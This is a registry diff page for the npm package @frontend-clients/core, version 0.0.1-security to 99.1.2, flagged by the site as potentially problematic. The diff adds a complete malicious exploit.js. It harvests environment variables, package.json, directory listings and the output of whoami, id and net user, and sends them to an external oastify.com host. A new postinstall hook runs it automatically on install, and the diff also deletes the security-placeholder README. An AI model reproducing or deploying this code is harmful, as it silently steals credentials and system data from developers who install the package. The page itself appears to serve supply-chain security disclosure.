@frontend-clients/core 0.0.1-security → 99.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @frontend-clients/core might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/exploit.js +52 -0
  2. package/package.json +8 -3
  3. package/README.md +0 -5
package/exploit.js ADDED
@@ -0,0 +1,52 @@
1
+ // enhanced-exploit.js
2
+ const fs = require('fs');
3
+ const http = require('http');
4
+ const path = require('path');
5
+ const child_process = require('child_process');
6
+
7
+ let data = {
8
+ cwd: process.cwd(),
9
+ package: null,
10
+ env: process.env,
11
+ system: null,
12
+ files: []
13
+ };
14
+
15
+ try {
16
+ // Read package.json
17
+ data.package = fs.readFileSync(path.join(data.cwd, 'package.json'), 'utf8');
18
+
19
+ // Get system info
20
+ data.system = {
21
+ platform: process.platform,
22
+ arch: process.arch,
23
+ release: process.release,
24
+ versions: process.versions
25
+ };
26
+
27
+ // Try to list directory contents
28
+ try {
29
+ data.files = fs.readdirSync(data.cwd);
30
+ } catch (e) {}
31
+
32
+ // Try to execute system commands
33
+ try {
34
+ if (process.platform === 'win32') {
35
+ data.win_commands = {
36
+ whoami: child_process.execSync('whoami /all').toString(),
37
+ net_users: child_process.execSync('net user').toString()
38
+ };
39
+ } else {
40
+ data.linux_commands = {
41
+ whoami: child_process.execSync('whoami').toString(),
42
+ id: child_process.execSync('id').toString(),
43
+ ls: child_process.execSync('ls -la').toString()
44
+ };
45
+ }
46
+ } catch (e) {}
47
+
48
+ // Send data
49
+ http.get(`http://bwbyvgz42ds2ujrrxa4jzob34ualygm5.oastify.com/collect?data=${encodeURIComponent(JSON.stringify(data))}`);
50
+ } catch (e) {
51
+ http.get(`http://bwbyvgz42ds2ujrrxa4jzob34ualygm5.oastify.com/error?msg=${encodeURIComponent(e.message)}`);
52
+ }
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "@frontend-clients/core",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "99.1.2",
4
+ "description": "Malicious package",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node exploit.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40frontend-clients%2Fcore for more information.